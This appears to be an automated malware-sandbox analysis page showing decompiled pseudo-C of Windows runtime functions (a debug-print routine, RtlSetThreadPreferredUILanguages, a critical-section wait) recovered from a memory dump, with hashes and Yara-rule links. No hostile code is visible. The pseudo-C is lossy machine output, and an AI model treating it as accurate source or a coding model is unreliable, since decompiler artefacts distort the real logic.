				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E02D7D130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E02D6D000(0x80);
						 *((intOrPtr*)(_t114 - 0x18)) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *((intOrPtr*)(_t114 - 0x84));
						_t110 =  *((intOrPtr*)(_t114 - 0x84));
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						E02D6F3E0(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t111 + _t108;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
						_push(0);
						if(_t89 == 0) {
							L15:
							_t109 = 0xc000000d;
							goto L16;
						} else {
							__eflags = _t89 - 0x7fffffff;
							if(_t89 <= 0x7fffffff) {
								L16:
								 *(_t114 - 0x94) = _t109;
								__eflags = _t109;
								if(_t109 < 0) {
									__eflags = _t89;
									if(_t89 != 0) {
										 *_t103 = 0;
									}
									L26:
									 *(_t114 - 0xa0) = _t109;
									 *(_t114 - 4) = 0xfffffffe;
									__eflags = _t109;
									if(_t109 >= 0) {
										L31:
										_t98 = _t108;
										_t39 = _t98 + 1; // 0x1
										_t106 = _t39;
										do {
											_t69 =  *_t98;
											_t98 = _t98 + 1;
											__eflags = _t69;
										} while (_t69 != 0);
										_t99 = _t98 - _t106;
										__eflags = _t99;
										L34:
										_t70 =  *[fs:0x30];
										__eflags =  *((char*)(_t70 + 2));
										if( *((char*)(_t70 + 2)) != 0) {
											L40:
											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x64)) = 2;
											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
											 *((intOrPtr*)(_t114 - 0x5c)) = _t108;
											 *(_t114 - 4) = 1;
											_push(_t114 - 0x74);
											L02D7DEF0(_t99, _t106);
											 *(_t114 - 4) = 0xfffffffe;
											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
											goto L3;
										}
										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
										if(( *0x7ffe02d4 & 0x00000003) != 3) {
											goto L40;
										}
										_push( *((intOrPtr*)(_t114 + 8)));
										_push( *((intOrPtr*)(_t114 - 0x9c)));
										_push(_t99 & 0x0000ffff);
										_push(_t108);
										_push(1);
										_t101 = E02D6B280();
										__eflags =  *((char*)(_t114 + 0x14)) - 1;
										if( *((char*)(_t114 + 0x14)) == 1) {
											__eflags = _t101 - 0x80000003;
											if(_t101 == 0x80000003) {
												E02D6B7E0(1);
												_t101 = 0;
												__eflags = 0;
											}
										}
										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
										goto L4;
									}
									__eflags = _t109 - 0x80000005;
									if(_t109 == 0x80000005) {
										continue;
									}
									break;
								}
								 *(_t114 - 0x90) = 0;
								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
								_t91 = E02D6E2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
								_t115 = _t115 + 0x10;
								_t104 = _t91;
								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
								__eflags = _t104;
								if(_t104 < 0) {
									L21:
									_t109 = 0x80000005;
									 *(_t114 - 0x90) = 0x80000005;
									L22:
									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
									L23:
									 *(_t114 - 0x94) = _t109;
									goto L26;
								}
								__eflags = _t104 - _t92;
								if(__eflags > 0) {
									goto L21;
								}
								if(__eflags == 0) {
									goto L22;
								}
								goto L23;
							}
							goto L15;
						}
					}
					__eflags = _t109;
					if(_t109 >= 0) {
						goto L31;
					}
					__eflags = _t109 - 0x80000005;
					if(_t109 != 0x80000005) {
						goto L31;
					}
					 *((short*)(_t95 + _t108 - 2)) = 0xa;
					_t38 = _t95 - 1; // -129
					_t99 = _t38;
					goto L34;
				}
				if( *((char*)( *[fs:0x30] + 2)) != 0) {
					__eflags = __edx - 0x65;
					if(__edx != 0x65) {
						goto L2;
					}
					goto L6;
				}
				L2:
				_push( *((intOrPtr*)(_t114 + 8)));
				_push(_t106);
				if(E02D6A890() != 0) {
					goto L6;
				}
				goto L3;
			}

0x02d2b171
0x02d2b171
0x02d2b171
0x02d2b171
0x02d2b171
0x02d2b176
0x02d2b17b
0x02d2b180
0x02d2b186
0x02d2b18f
0x02d2b198
0x02d2b1a4
0x02d2b1aa
0x02d84802
0x02d84802
0x02d84805
0x02d8480c
0x02d8480e
0x02d2b1d1
0x02d2b1d3
0x02d2b1de
0x02d2b1de
0x02d84817
0x02d8481e
0x02d84820
0x02d84822
0x02d84822
0x02d84824
0x02d84824
0x02d8482a
0x00000000
0x00000000
0x02d84835
0x02d8483a
0x02d8483d
0x02d8483f
0x02d84842
0x02d84842
0x02d84842
0x02d84846
0x02d8484c
0x02d8484e
0x02d84851
0x02d84851
0x02d84853
0x02d84854
0x02d84854
0x02d84858
0x02d8485a
0x02d8485a
0x02d8485d
0x02d8485f
0x02d84861
0x02d84861
0x02d84866
0x02d8486b
0x02d8486e
0x02d84871
0x02d84876
0x02d84876
0x02d84878
0x02d8487b
0x02d84884
0x02d84884
0x00000000
0x02d8487d
0x02d8487d
0x02d84882
0x02d84889
0x02d84889
0x02d8488f
0x02d84891
0x02d848e0
0x02d848e2
0x02d848e4
0x02d848e4
0x02d848e7
0x02d848e7
0x02d848ed
0x02d848f4
0x02d848f6
0x02d84951
0x02d84951
0x02d84953
0x02d84953
0x02d84956
0x02d84956
0x02d84958
0x02d84959
0x02d84959
0x02d8495d
0x02d8495d
0x02d8495f
0x02d8495f
0x02d84965
0x02d84969
0x02d849ba
0x02d849ba
0x02d849c1
0x02d849c5
0x02d849cc
0x02d849d4
0x02d849d7
0x02d849da
0x02d849e4
0x02d849e5
0x02d849f3
0x02d84a02
0x00000000
0x02d84a02
0x02d84972
0x02d84974
0x00000000
0x00000000
0x02d84976
0x02d84979
0x02d84982
0x02d84983
0x02d84984
0x02d8498b
0x02d8498d
0x02d84991
0x02d84993
0x02d84999
0x02d8499d
0x02d849a2
0x02d849a2
0x02d849a2
0x02d84999
0x02d849ac
0x00000000
0x02d849b3
0x02d848f8
0x02d848fe
0x00000000
0x00000000
0x00000000
0x02d848fe
0x02d84895
0x02d8489c
0x02d848ad
0x02d848b2
0x02d848b5
0x02d848b7
0x02d848ba
0x02d848bc
0x02d848c6
0x02d848c6
0x02d848cb
0x02d848d1
0x02d848d4
0x02d848d8
0x02d848d8
0x00000000
0x02d848d8
0x02d848be
0x02d848c0
0x00000000
0x00000000
0x02d848c2
0x00000000
0x00000000
0x00000000
0x02d848c4
0x00000000
0x02d84882
0x02d8487b
0x02d84904
0x02d84906
0x00000000
0x00000000
0x02d84908
0x02d8490e
0x00000000
0x00000000
0x02d84910
0x02d84917
0x02d84917
0x00000000
0x02d84917
0x02d2b1ba
0x02d847f9
0x02d847fc
0x00000000
0x00000000
0x00000000
0x02d847fc
0x02d2b1c0
0x02d2b1c0
0x02d2b1c3
0x02d2b1cb
0x00000000
0x00000000
0x00000000

APIs

_vswprintf_s.LIBCMT ref: 02D848AD

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID: _vswprintf_s
String ID:
API String ID: 677850445-0
Opcode ID: 28fbf73a6d5ac905abb6edbbe9aa5c430485bec6eeabb8f807469a3bbe3101cf
Instruction ID: bfbb249552a5bdb03aa903b9cfa34e2a8abb31af434309b1beaf5fa66a1496bc
Opcode Fuzzy Hash: 28fbf73a6d5ac905abb6edbbe9aa5c430485bec6eeabb8f807469a3bbe3101cf
Instruction Fuzzy Hash: 6351BD71D002AA8ADB35EF648844BAEBBB1FF04714F1142AED899AB381D7758D45CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02D5FAB0, Relevance: 1.6, Strings: 1, Instructions: 306
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E02D5FAB0(void* __ebx, void* __esi, signed int _a8, signed int _a12) {
				char _v5;
				signed int _v8;
				signed int _v12;
				char _v16;
				char _v17;
				char _v20;
				signed int _v24;
				char _v28;
				char _v32;
				signed int _v40;
				void* __ecx;
				void* __edi;
				void* __ebp;
				signed int _t73;
				intOrPtr* _t75;
				signed int _t77;
				signed int _t79;
				signed int _t81;
				intOrPtr _t83;
				intOrPtr _t85;
				intOrPtr _t86;
				signed int _t91;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t106;
				signed int _t108;
				signed int _t114;
				signed int _t116;
				signed int _t118;
				signed int _t122;
				signed int _t123;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t134;
				signed int _t138;
				signed int _t141;
				signed int _t147;
				intOrPtr _t153;
				signed int _t154;
				signed int _t155;
				signed int _t170;
				void* _t174;
				signed int _t176;
				signed int _t177;

				_t129 = __ebx;
				_push(_t132);
				_push(__esi);
				_t174 = _t132;
				_t73 =  !( *( *(_t174 + 0x18)));
				if(_t73 >= 0) {
					L5:
					return _t73;
				} else {
					E02D3EEF0(0x2e17b60);
					_t134 =  *0x2e17b84; // 0x771c7b80
					_t2 = _t174 + 0x24; // 0x24
					_t75 = _t2;
					if( *_t134 != 0x2e17b80) {
						_push(3);
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x2e17b60);
						_t170 = _v8;
						_v28 = 0;
						_v40 = 0;
						_v24 = 0;
						_v17 = 0;
						_v32 = 0;
						__eflags = _t170 & 0xffff7cf2;
						if((_t170 & 0xffff7cf2) != 0) {
							L43:
							_t77 = 0xc000000d;
						} else {
							_t79 = _t170 & 0x0000000c;
							__eflags = _t79;
							if(_t79 != 0) {
								__eflags = _t79 - 0xc;
								if(_t79 == 0xc) {
									goto L43;
								} else {
									goto L9;
								}
							} else {
								_t170 = _t170 | 0x00000008;
								__eflags = _t170;
								L9:
								_t81 = _t170 & 0x00000300;
								__eflags = _t81 - 0x300;
								if(_t81 == 0x300) {
									goto L43;
								} else {
									_t138 = _t170 & 0x00000001;
									__eflags = _t138;
									_v24 = _t138;
									if(_t138 != 0) {
										__eflags = _t81;
										if(_t81 != 0) {
											goto L43;
										} else {
											goto L11;
										}
									} else {
										L11:
										_push(_t129);
										_t77 = E02D36D90( &_v20);
										_t130 = _t77;
										__eflags = _t130;
										if(_t130 >= 0) {
											_push(_t174);
											__eflags = _t170 & 0x00000301;
											if((_t170 & 0x00000301) == 0) {
												_t176 = _a8;
												__eflags = _t176;
												if(__eflags == 0) {
													L64:
													_t83 =  *[fs:0x18];
													_t177 = 0;
													__eflags =  *(_t83 + 0xfb8);
													if( *(_t83 + 0xfb8) != 0) {
														E02D376E2( *((intOrPtr*)( *[fs:0x18] + 0xfb8)));
														 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = 0;
													}
													 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = _v12;
													goto L15;
												} else {
													asm("sbb edx, edx");
													_t114 = E02DC8938(_t130, _t176, ( ~(_t170 & 4) & 0xffffffaf) + 0x55, _t170, _t176, __eflags);
													__eflags = _t114;
													if(_t114 < 0) {
														_push("*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!\n");
														E02D2B150();
													}
													_t116 = E02DC6D81(_t176,  &_v16);
													__eflags = _t116;
													if(_t116 >= 0) {
														__eflags = _v16 - 2;
														if(_v16 < 2) {
															L56:
															_t118 = E02D375CE(_v20, 5, 0);
															__eflags = _t118;
															if(_t118 < 0) {
																L67:
																_t130 = 0xc0000017;
																goto L32;
															} else {
																__eflags = _v12;
																if(_v12 == 0) {
																	goto L67;
																} else {
																	_t153 =  *0x2e18638; // 0x0
																	_t122 = L02D338A4(_t153, _t176, _v16, _t170 | 0x00000002, 0x1a, 5,  &_v12);
																	_t154 = _v12;
																	_t130 = _t122;
																	__eflags = _t130;
																	if(_t130 >= 0) {
																		_t123 =  *(_t154 + 4) & 0x0000ffff;
																		__eflags = _t123;
																		if(_t123 != 0) {
																			_t155 = _a12;
																			__eflags = _t155;
																			if(_t155 != 0) {
																				 *_t155 = _t123;
																			}
																			goto L64;
																		} else {
																			E02D376E2(_t154);
																			goto L41;
																		}
																	} else {
																		E02D376E2(_t154);
																		_t177 = 0;
																		goto L18;
																	}
																}
															}
														} else {
															__eflags =  *_t176;
															if( *_t176 != 0) {
																goto L56;
															} else {
																__eflags =  *(_t176 + 2);
																if( *(_t176 + 2) == 0) {
																	goto L64;
																} else {
																	goto L56;
																}
															}
														}
													} else {
														_t130 = 0xc000000d;
														goto L32;
													}
												}
												goto L35;
											} else {
												__eflags = _a8;
												if(_a8 != 0) {
													_t77 = 0xc000000d;
												} else {
													_v5 = 1;
													L02D5FCE3(_v20, _t170);
													_t177 = 0;
													__eflags = 0;
													L15:
													_t85 =  *[fs:0x18];
													__eflags =  *((intOrPtr*)(_t85 + 0xfc0)) - _t177;
													if( *((intOrPtr*)(_t85 + 0xfc0)) == _t177) {
														L18:
														__eflags = _t130;
														if(_t130 != 0) {
															goto L32;
														} else {
															__eflags = _v5 - _t130;
															if(_v5 == _t130) {
																goto L32;
															} else {
																_t86 =  *[fs:0x18];
																__eflags =  *((intOrPtr*)(_t86 + 0xfbc)) - _t177;
																if( *((intOrPtr*)(_t86 + 0xfbc)) != _t177) {
																	_t177 =  *( *( *[fs:0x18] + 0xfbc));
																}
																__eflags = _t177;
																if(_t177 == 0) {
																	L31:
																	__eflags = 0;
																	L02D370F0(_t170 | 0x00000030,  &_v32, 0,  &_v28);
																	goto L32;
																} else {
																	__eflags = _v24;
																	_t91 =  *(_t177 + 0x20);
																	if(_v24 != 0) {
																		 *(_t177 + 0x20) = _t91 & 0xfffffff9;
																		goto L31;
																	} else {
																		_t141 = _t91 & 0x00000040;
																		__eflags = _t170 & 0x00000100;
																		if((_t170 & 0x00000100) == 0) {
																			__eflags = _t141;
																			if(_t141 == 0) {
																				L74:
																				_t94 = _t91 & 0xfffffffd | 0x00000004;
																				goto L27;
																			} else {
																				_t177 = E02D5FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					goto L42;
																				} else {
																					_t130 = E02D5FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						_t68 = _t177 + 0x20;
																						 *_t68 =  *(_t177 + 0x20) & 0xffffffbf;
																						__eflags =  *_t68;
																						_t91 =  *(_t177 + 0x20);
																						goto L74;
																					}
																				}
																			}
																			goto L35;
																		} else {
																			__eflags = _t141;
																			if(_t141 != 0) {
																				_t177 = E02D5FD22(_t177);
																				__eflags = _t177;
																				if(_t177 == 0) {
																					L42:
																					_t77 = 0xc0000001;
																					goto L33;
																				} else {
																					_t130 = E02D5FD9B(_t177, 0, 4);
																					__eflags = _t130;
																					if(_t130 != 0) {
																						goto L42;
																					} else {
																						 *(_t177 + 0x20) =  *(_t177 + 0x20) & 0xffffffbf;
																						_t91 =  *(_t177 + 0x20);
																						goto L26;
																					}
																				}
																				goto L35;
																			} else {
																				L26:
																				_t94 = _t91 & 0xfffffffb | 0x00000002;
																				__eflags = _t94;
																				L27:
																				 *(_t177 + 0x20) = _t94;
																				__eflags = _t170 & 0x00008000;
																				if((_t170 & 0x00008000) != 0) {
																					_t95 = _a12;
																					__eflags = _t95;
																					if(_t95 != 0) {
																						_t96 =  *_t95;
																						__eflags = _t96;
																						if(_t96 != 0) {
																							 *((short*)(_t177 + 0x22)) = 0;
																							_t40 = _t177 + 0x20;
																							 *_t40 =  *(_t177 + 0x20) | _t96 << 0x00000010;
																							__eflags =  *_t40;
																						}
																					}
																				}
																				goto L31;
																			}
																		}
																	}
																}
															}
														}
													} else {
														_t147 =  *( *[fs:0x18] + 0xfc0);
														_t106 =  *(_t147 + 0x20);
														__eflags = _t106 & 0x00000040;
														if((_t106 & 0x00000040) != 0) {
															_t147 = E02D5FD22(_t147);
															__eflags = _t147;
															if(_t147 == 0) {
																L41:
																_t130 = 0xc0000001;
																L32:
																_t77 = _t130;
																goto L33;
															} else {
																 *(_t147 + 0x20) =  *(_t147 + 0x20) & 0xffffffbf;
																_t106 =  *(_t147 + 0x20);
																goto L17;
															}
															goto L35;
														} else {
															L17:
															_t108 = _t106 | 0x00000080;
															__eflags = _t108;
															 *(_t147 + 0x20) = _t108;
															 *( *[fs:0x18] + 0xfc0) = _t147;
															goto L18;
														}
													}
												}
											}
											L33:
										}
									}
								}
							}
						}
						L35:
						return _t77;
					} else {
						 *_t75 = 0x2e17b80;
						 *((intOrPtr*)(_t75 + 4)) = _t134;
						 *_t134 = _t75;
						 *0x2e17b84 = _t75;
						_t73 = E02D3EB70(_t134, 0x2e17b60);
						if( *0x2e17b20 != 0) {
							_t73 =  *( *[fs:0x30] + 0xc);
							if( *((char*)(_t73 + 0x28)) == 0) {
								_t73 = E02D3FF60( *0x2e17b20);
							}
						}
						goto L5;
					}
				}
			}

0x02d5fab0
0x02d5fab2
0x02d5fab3
0x02d5fab4
0x02d5fabc
0x02d5fac0
0x02d5fb14
0x02d5fb17
0x02d5fac2
0x02d5fac8
0x02d5facd
0x02d5fad3
0x02d5fad3
0x02d5fadd
0x02d5fb18
0x02d5fb1b
0x02d5fb1d
0x02d5fb1e
0x02d5fb1f
0x02d5fb20
0x02d5fb21
0x02d5fb22
0x02d5fb23
0x02d5fb24
0x02d5fb25
0x02d5fb26
0x02d5fb27
0x02d5fb28
0x02d5fb29
0x02d5fb2a
0x02d5fb2b
0x02d5fb2c
0x02d5fb2d
0x02d5fb2e
0x02d5fb2f
0x02d5fb3a
0x02d5fb3b
0x02d5fb3e
0x02d5fb41
0x02d5fb44
0x02d5fb47
0x02d5fb4a
0x02d5fb4d
0x02d5fb53
0x02d9bdcb
0x02d9bdcb
0x02d5fb59
0x02d5fb5b
0x02d5fb5b
0x02d5fb5e
0x02d9bdd5
0x02d9bdd8
0x00000000
0x02d9bdda
0x00000000
0x02d9bdda
0x02d5fb64
0x02d5fb64
0x02d5fb64
0x02d5fb67
0x02d5fb6e
0x02d5fb70
0x02d5fb72
0x00000000
0x02d5fb78
0x02d5fb7a
0x02d5fb7a
0x02d5fb7d
0x02d5fb80
0x02d9bddf
0x02d9bde1
0x00000000
0x02d9bde3
0x00000000
0x02d9bde3
0x02d5fb86
0x02d5fb86
0x02d5fb86
0x02d5fb8b
0x02d5fb90
0x02d5fb92
0x02d5fb94
0x02d5fb9a
0x02d5fb9b
0x02d5fba1
0x02d9bde8
0x02d9bdeb
0x02d9bded
0x02d9beb5
0x02d9beb5
0x02d9bebb
0x02d9bebd
0x02d9bec3
0x02d9bed2
0x02d9bedd
0x02d9bedd
0x02d9beed
0x00000000
0x02d9bdf3
0x02d9bdfe
0x02d9be06
0x02d9be0b
0x02d9be0d
0x02d9be0f
0x02d9be14
0x02d9be19
0x02d9be20
0x02d9be25
0x02d9be27
0x02d9be35
0x02d9be39
0x02d9be46
0x02d9be4f
0x02d9be54
0x02d9be56
0x02d9bef8
0x02d9bef8
0x00000000
0x02d9be5c
0x02d9be5c
0x02d9be60
0x00000000
0x02d9be66
0x02d9be66
0x02d9be7f
0x02d9be84
0x02d9be87
0x02d9be89
0x02d9be8b
0x02d9be99
0x02d9be9d
0x02d9bea0
0x02d9beac
0x02d9beaf
0x02d9beb1
0x02d9beb3
0x02d9beb3
0x00000000
0x02d9bea2
0x02d9bea2
0x00000000
0x02d9bea2
0x02d9be8d
0x02d9be8d
0x02d9be92
0x00000000
0x02d9be92
0x02d9be8b
0x02d9be60
0x02d9be3b
0x02d9be3b
0x02d9be3e
0x00000000
0x02d9be40
0x02d9be40
0x02d9be44
0x00000000
0x00000000
0x00000000
0x00000000
0x02d9be44
0x02d9be3e
0x02d9be29
0x02d9be29
0x00000000
0x02d9be29
0x02d9be27
0x00000000
0x02d5fba7
0x02d5fba7
0x02d5fbab
0x02d9bf02
0x02d5fbb1
0x02d5fbb1
0x02d5fbb8
0x02d5fbbd
0x02d5fbbd
0x02d5fbbf
0x02d5fbbf
0x02d5fbc5
0x02d5fbcb
0x02d5fbf8
0x02d5fbf8
0x02d5fbfa
0x00000000
0x02d5fc00
0x02d5fc00
0x02d5fc03
0x00000000
0x02d5fc09
0x02d5fc09
0x02d5fc0f
0x02d5fc15
0x02d5fc23
0x02d5fc23
0x02d5fc25
0x02d5fc27
0x02d5fc75
0x02d5fc7c
0x02d5fc84
0x00000000
0x02d5fc29
0x02d5fc29
0x02d5fc2d
0x02d5fc30
0x02d9bf0f
0x00000000
0x02d5fc36
0x02d5fc38
0x02d5fc3b
0x02d5fc41
0x02d9bf17
0x02d9bf19
0x02d9bf48
0x02d9bf4b
0x00000000
0x02d9bf1b
0x02d9bf22
0x02d9bf24
0x02d9bf26
0x00000000
0x02d9bf2c
0x02d9bf37
0x02d9bf39
0x02d9bf3b
0x00000000
0x02d9bf41
0x02d9bf41
0x02d9bf41
0x02d9bf41
0x02d9bf45
0x00000000
0x02d9bf45
0x02d9bf3b
0x02d9bf26
0x00000000
0x02d5fc47
0x02d5fc47
0x02d5fc49
0x02d5fcb2
0x02d5fcb4
0x02d5fcb6
0x02d5fcdc
0x02d5fcdc
0x00000000
0x02d5fcb8
0x02d5fcc3
0x02d5fcc5
0x02d5fcc7
0x00000000
0x02d5fcc9
0x02d5fcc9
0x02d5fccd
0x00000000
0x02d5fccd
0x02d5fcc7
0x00000000
0x02d5fc4b
0x02d5fc4b
0x02d5fc4e
0x02d5fc4e
0x02d5fc51
0x02d5fc51
0x02d5fc54
0x02d5fc5a
0x02d5fc5c
0x02d5fc5f
0x02d5fc61
0x02d5fc63
0x02d5fc65
0x02d5fc67
0x02d5fc6e
0x02d5fc72
0x02d5fc72
0x02d5fc72
0x02d5fc72
0x02d5fc67
0x02d5fc61
0x00000000
0x02d5fc5a
0x02d5fc49
0x02d5fc41
0x02d5fc30
0x02d5fc27
0x02d5fc03
0x02d5fbcd
0x02d5fbd3
0x02d5fbd9
0x02d5fbdc
0x02d5fbde
0x02d5fc99
0x02d5fc9b
0x02d5fc9d
0x02d5fcd5
0x02d5fcd5
0x02d5fc89
0x02d5fc89
0x00000000
0x02d5fc9f
0x02d5fc9f
0x02d5fca3
0x00000000
0x02d5fca3
0x00000000
0x02d5fbe4
0x02d5fbe4
0x02d5fbe4
0x02d5fbe4
0x02d5fbe9
0x02d5fbf2
0x00000000
0x02d5fbf2
0x02d5fbde
0x02d5fbcb
0x02d5fbab
0x02d5fc8b
0x02d5fc8b
0x02d5fc8c
0x02d5fb80
0x02d5fb72
0x02d5fb5e
0x02d5fc8d
0x02d5fc91
0x02d5fadf
0x02d5fadf
0x02d5fae1
0x02d5fae4
0x02d5fae7
0x02d5faec
0x02d5faf8
0x02d5fb00
0x02d5fb07
0x02d5fb0f
0x02d5fb0f
0x02d5fb07
0x00000000
0x02d5faf8
0x02d5fadd

Strings

*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 02D9BE0F

Memory Dump Source

Source File: 0000000D.00000002.925610066.0000000002D00000.00000040.00000001.sdmp, Offset: 02D00000, based on PE: true

Associated: 0000000D.00000002.925774022.0000000002E1B000.00000040.00000001.sdmp Download File
Associated: 0000000D.00000002.925791016.0000000002E1F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!
API String ID: 0-865735534
Opcode ID: 3fd5af8633fbd58641e01ab4bac691d4bd5df8c42f37fc6135a9fc30fb5ae98a
Instruction ID: bddbfa51fce901f46ef6a727015c995fb41b109f1bc9e672313af3960276f644
Opcode Fuzzy Hash: 3fd5af8633fbd58641e01ab4bac691d4bd5df8c42f37fc6135a9fc30fb5ae98a
Instruction Fuzzy Hash: F1A1F071A00A668FDF25DF69C490B7AB3AAAB45718F05457AEC46CFB80DB70DC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02D22D8A, Relevance: 1.4, Strings: 1, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E02D22D8A(void* __ebx, signed char __ecx, signed int __edx, signed int __edi) {
				signed char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v52;
				void* __esi;
				void* __ebp;
				intOrPtr _t55;
				signed int _t57;
				signed int _t58;
				char* _t62;
				signed char* _t63;
				signed char* _t64;
				signed int _t67;
				signed int _t72;
				signed int _t77;
				signed int _t78;
				signed int _t88;
				intOrPtr _t89;
				signed char _t93;
				signed int _t97;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				intOrPtr _t104;
				signed int _t105;
				signed int _t106;
				signed char _t109;
				signed int _t111;
				void* _t116;

				_t102 = __edi;
				_t97 = __edx;
				_v12 = _v12 & 0x00000000;
				_t55 =  *[fs:0x18];
				_t109 = __ecx;
				_v8 = __edx;
				_t86 = 0;
				_v32 = _t55;
				_v24 = 0;
				_push(__edi);
				if(__ecx == 0x2e15350) {
					_t86 = 1;
					_v24 = 1;
					 *((intOrPtr*)(_t55 + 0xf84)) = 1;
				}
				_t103 = _t102 | 0xffffffff;
				if( *0x2e17bc8 != 0) {
					_push(0xc000004b);
					_push(_t103);
					E02D697C0();
				}
				if( *0x2e179c4 != 0) {
					_t57 = 0;
				} else {
					_t57 = 0x2e179c8;
				}
				_v16 = _t57;
				if( *((intOrPtr*)(_t109 + 0x10)) == 0) {
					_t93 = _t109;
					L23();
				}
				_t58 =  *_t109;
				if(_t58 == _t103) {
					__eflags =  *(_t109 + 0x14) & 0x01000000;
					_t58 = _t103;
					if(__eflags == 0) {
						_t93 = _t109;
						E02D51624(_t86, __eflags);
						_t58 =  *_t109;
					}
				}
				_v20 = _v20 & 0x00000000;
				if(_t58 != _t103) {
					 *((intOrPtr*)(_t58 + 0x14)) =  *((intOrPtr*)(_t58 + 0x14)) + 1;
				}
				_t104 =  *((intOrPtr*)(_t109 + 0x10));
				_t88 = _v16;
				_v28 = _t104;
				L9:
				while(1) {
					if(E02D47D50() != 0) {
						_t62 = ( *[fs:0x30])[0x50] + 0x228;
					} else {
						_t62 = 0x7ffe0382;
					}
					if( *_t62 != 0) {
						_t63 =  *[fs:0x30];
						__eflags = _t63[0x240] & 0x00000002;
						if((_t63[0x240] & 0x00000002) != 0) {
							_t93 = _t109;
							E02DBFE87(_t93);
						}
					}
					if(_t104 != 0xffffffff) {
						_push(_t88);
						_push(0);
						_push(_t104);
						_t64 = E02D69520();
						goto L15;
					} else {
						while(1) {
							_t97 =  &_v8;
							_t64 = E02D5E18B(_t109 + 4, _t97, 4, _t88, 0);
							if(_t64 == 0x102) {
								break;
							}
							_t93 =  *(_t109 + 4);
							_v8 = _t93;
							if((_t93 & 0x00000002) != 0) {
								continue;
							}
							L15:
							if(_t64 == 0x102) {
								break;
							}
							_t89 = _v24;
							if(_t64 < 0) {
								L02D7DF30(_t93, _t97, _t64);
								_push(_t93);
								_t98 = _t97 | 0xffffffff;
								__eflags =  *0x2e16901;
								_push(_t109);
								_v52 = _t98;
								if( *0x2e16901 != 0) {
									_push(0);
									_push(1);
									_push(0);
									_push(0x100003);
									_push( &_v12);
									_t72 = E02D69980();
									__eflags = _t72;
									if(_t72 < 0) {
										_v12 = _t98 | 0xffffffff;
									}
								}
								asm("lock cmpxchg [ecx], edx");
								_t111 = 0;
								__eflags = 0;
								if(0 != 0) {
									__eflags = _v12 - 0xffffffff;
									if(_v12 != 0xffffffff) {
										_push(_v12);
										E02D695D0();
									}
								} else {
									_t111 = _v12;
								}
								return _t111;
							} else {
								if(_t89 != 0) {
									 *((intOrPtr*)(_v32 + 0xf84)) = 0;
									_t77 = E02D47D50();
									__eflags = _t77;
									if(_t77 == 0) {
										_t64 = 0x7ffe0384;
									} else {
